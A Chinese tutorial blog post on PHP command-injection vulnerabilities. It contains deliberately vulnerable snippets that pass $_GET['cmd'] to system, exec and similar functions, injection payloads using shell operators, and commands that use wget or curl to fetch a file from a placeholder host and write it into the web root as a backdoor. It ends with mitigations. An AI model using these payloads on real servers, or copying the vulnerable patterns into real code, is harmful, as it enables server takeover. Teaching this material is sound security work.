命令执行漏洞学习

本文详细介绍了PHP中的命令执行漏洞,包括其成因、危害和常见函数,如system()、passthru()、exec()等。通过实例展示了漏洞利用方式,如命令逻辑符的使用。同时,文章提出了修复方案,如参数过滤、使用escapeshellcmd和escapeshellarg函数,以及限制函数使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

命令执行漏洞简介

命令执行漏洞成因

命令执行漏洞危害

命令逻辑符

PHP中可以调用外部程序常见函数

1)system() 

system()函数漏洞利用 - 1

system()函数漏洞利用 - 2

system()函数漏洞利用 - 3

system()函数漏洞利用 - 4

2) passthru()

3) exec()

4)shell_exec()

5)执行运算符(反引号 `)

6)popen()

7) proc_open()

 命令执行漏洞利用

 命令执行漏洞修复方案


命令执行漏洞简介

应用程序有时需要调用一些执行系统命令的函数,如在php中,使用system、exec、shell_exec\passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令上中,从而造成命令执行攻击,这就是命令执行漏洞。
 

命令执行漏洞成因

开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。

Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。

命令执行漏洞危害

1)继承 Web 服务程序的权限,去执行系统命令或读写文件

2)反弹shell

3)控制整个网站甚至是服务器

4)进一步内网渗透

命令逻辑符

在终端进进行命令执行,此时使用特殊符号将带来不同的结果:

当使用 && :
            左true,右true     --- 两边都执行
            左true,右false    --- 左边执行
            左false,右true    --- 短路,都不执行
            左false,右false   --- 都不执行
当使用 &:
            左true,右true     --- 两边都执行
            左true,右false    --- 左边执行
            左false,右true    --- 右边执行
            左false,右false   --- 都不执行
        注:& 只要有一个可以执行,就可以执行


当使用 ||:
            左true,右true     --- 短路,只有左边执行
            左true,右false    --- 左边执行
            左false,右true    --- 右边执行
            左false,右false   --- 都不执行
 当使用 | :
            左true,右true     --- 优先执行右边的命令
            左true,右false    --- 两边都不执行
            左false,右true    --- 两边都不执行
            左false,右false   --- 两边都不执行      
        注:| 只要有一边不能执行,则都不执行 

PHP中可以调用外部程序常见函数

1)system() 

system
(PHP 4, PHP 5, PHP 7, PHP 8)

system — 执行外部程序,并且显示输出

说明
system(string $command, int &$return_var = ?): string
同 C 版本的 system() 函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。

如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。

参数
command
要执行的命令。

return_var
如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

返回值
成功则返回命令输出的最后一行, 失败则返回 false

        system()函数漏洞利用 - 1

<?php

    $arg = $_GET['cmd'];
    if($arg){
        system("$arg");
    }

?>

 

        system()函数漏洞利用 - 2

<?php

    $arg = $_GET['cmd'];
    if($arg){
        system("ping $arg");
    }

?>

利用:利用逻辑符执行命令获取数据或写入木马后门。

注意:逻辑符号要使用 URL 编码。

         system()函数漏洞利用 - 3

<?php

$arg = $_GET['cmd'];
if($arg){
    system("dir \"$arg\" ");
}

?>

利用:闭合 dir 后的 "" 后利用用逻辑符号执行想要的操作。
     ?cmd= " %26 ipconfig %26

          system()函数漏洞利用 - 4

<?php

$arg = $_GET['cmd'];
if($arg){
    system("echo '$arg' > Test.txt ");
}

?>


注:在单引号内,变量不能被解析,因此要想执行命令必须闭合单引号。
    ?cmd= xx' | ipconfig ||
    

2) passthru()

passthru
(PHP 4, PHP 5, PHP 7, PHP 8)

passthru — 执行外部程序并且显示原始输出

说明
passthru(string $command, int &$return_var = ?): void
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

参数
command
要执行的命令。

return_var
如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

返回值
没有返回值。
<?php
    
    $cmd = $_GET['cmd'];
    passthru($cmd,$status_code);
    var_dump($status_code);

?>

3) exec()

(PHP 4, PHP 5, PHP 7, PHP 8)

exec — 执行一个外部程序,回显最后一行,需要用echo输出。

说明
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec() 执行 command 参数所指定的命令。

参数
command
要执行的命令。

output
如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符,例如 \n 字符。 请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

return_var
如果同时提供 output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。

返回值
命令执行结果的最后一行内容。 如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。

如果想要获取命令的输出内容, 请确保使用 output 参数。
<?php

    $cmd = $_GET['cmd'];
    exec($cmd,$status_code);
    var_dump($status_code);

?>

 

4)shell_exec()

(PHP 4, PHP 5, PHP 7, PHP 8)

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

说明
shell_exec(string $cmd): string
本函数同 执行操作符。

注意:

On Windows, the underlying pipe is opened in text mode which can cause the function to fail for binary output. Consider to use popen() instead for such cases.

参数
cmd
要执行的命令。

返回值
命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 null。

注意:

当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 null, 所以,使用本函数无法通过返回值检测进程是否成功执行。 如果需要检查进程执行的退出码,请使用 exec() 函数。

<?php

    $cmd = $_GET['cmd'];
    $ret = shell_exec($cmd);
    echo $ret;

?>

5)执行运算符(反引号 `)

        注:shell_exec() 与 反引号 ` 效果相同

执行运算符
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
<?php

    $cmd = $_GET['cmd'];

    echo `$cmd` ;

?>

6)popen()

(PHP 4, PHP 5, PHP 7, PHP 8)

popen — 打开进程文件指针

说明
popen(string $command, string $mode): resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

参数
command
命令。

mode
模式。

返回值
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 'r',返回的文件指针等于命令的 STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN。

如果出错返回 false。
<?php

    $pPointer = popen($_GET['cmd'], 'r');
    while ( $line = fgets($pPointer) ){
        echo $line;
    }

?>

7) proc_open()

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。

说明
proc_open(
    mixed $cmd,
    array $descriptorspec,
    array &$pipes,
    string $cwd = null,
    array $env = null,
    array $other_options = null
): resource
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。

参数
cmd
以 string 形式执行的命令行。特殊字符必须经过转义,并且使用正确的引号。

注意: 在 Windows 上, 除非在 other_options 中 把 bypass_shell 设置为 true ,否则 cmd 会被传递给 cmd.exe (实际上是 %ComSpec%) 其中的 /c 标志是 未加引号的 字符串 (也就是和 proc_open() 一样)。 这可能会导致 cmd.exe 删除 cmd 中的引号 (详见 cmd.exe 文档), 从而导致意外的,甚至是潜在的危险行为,因为 cmd.exe 错误消息可能包含 (部分) 传递的 cmd (见下面的例子)。

从 PHP 7.4.0 开始,cmd 参数可以使用 array 类型传递。 在这种情况下,进程将直接打开(不通过 shell )。 而 PHP 会处理任何必要的参数转义。

注意:

在 Windows 上, array 元素的参数转义假定 执行命令的命令行解析与 VC 运行时进行的命令行参数解析兼容。

descriptorspec
一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。

数组中的元素可以是:

包含了要传送至进程的管道的描述信息的数组。 第一个元素为描述符类型, 第二个元素是针对该描述符的选项。 有效的类型有:pipe (第二个元素可以是: r 向进程传送该管道的读取端,w 向进程传送该管道的写入端), 以及 file(第二个元素为文件名)。
表达一个真实文件描述符的流资源类型 (例如:已打开的文件,一个 socket 端口,STDIN)。
文件描述符的值不限于 0,1 和 2,你可以使用任何有效的文件描述符 并将其传送至子进程。 这使得你的脚本可以和其他脚本交互操作。 例如,可以通过指定文件描述符将密码以更加安全的方式 传送至诸如 PGP,GPG 和 openssl 程序, 同时也可以很方便的获取这些程序的状态信息。

pipes
将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd
要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。

env
要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

other_options
你还可以指定一些附加选项。 目前支持的选项包括:

suppress_errors (仅用于 Windows 平台): 设置为 true 表示抑制本函数产生的错误。
bypass_shell (仅用于 Windows 平台): 设置为 true 表示绕过 cmd.exe shell。
blocking_pipes (仅用于 Windows 平台): 设置为 true 表示强制堵塞管道。
create_process_group (仅用于 Windows 平台): 设置为 true 表示允许子进程处理 CTRL 事件。
create_new_console (仅用于 Windows 平台): 表示新进程有一个新的控制台,用于代替父进程的控制台。
返回值
返回表示进程的资源类型, 当使用完毕之后,请调用 proc_close() 函数来关闭此资源。 如果失败,返回 false。
<?php

    $des = array(
        0 => array("pipe", "r"),    // 标准输入,子进程从此管道符中读取数据
        1 => array("pipe", "w"),    // 标准输出,子进程向此管道符中写入数据
        2 => array("file", "./error-output.txt", "a")   // 标准错误,写入到一个文件
    );

    $process = proc_open($_GET[1], $des, $pipes);
    var_dump($pipes);
    echo stream_get_contents($pipes[1]);

?>

 命令执行漏洞利用

前提:有写入权限
    
    1.反弹 shell ,尝试提权
    2.执行 pwd 获取 Linux 绝对路径,写入一句话木马。
        ?cmd= echo ^<?php phpinfo(); ?^> > /var/www/html/info.php
        ?cmd= wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
        ?cmd= curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php

 命令执行漏洞修复方案

1.能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在 disable_funncation 中禁用。
    缺陷:正常代可能无法执行
          黑名单
2.在进入命令执行的函数或方法前,对参数进行过滤。使用这些函数 escapeshellcmd /escapeshellarg 过滤。
    @ escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数
    @ escapeshellcmd shell 元字符转义
        不能杜绝该类型的漏洞,因为其本质是转义特殊字符
        例如:?cmd= ipconfig 可正常输出
              ?cmd= ipconfig &&(%26%26) whoami 就会因为 && 被转义无法输出结果。
3.参数的值尽量使用引号包裹,并在拼接调用 addslashes 进行转义。
4.exec()函数中数据,避免用户可控。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值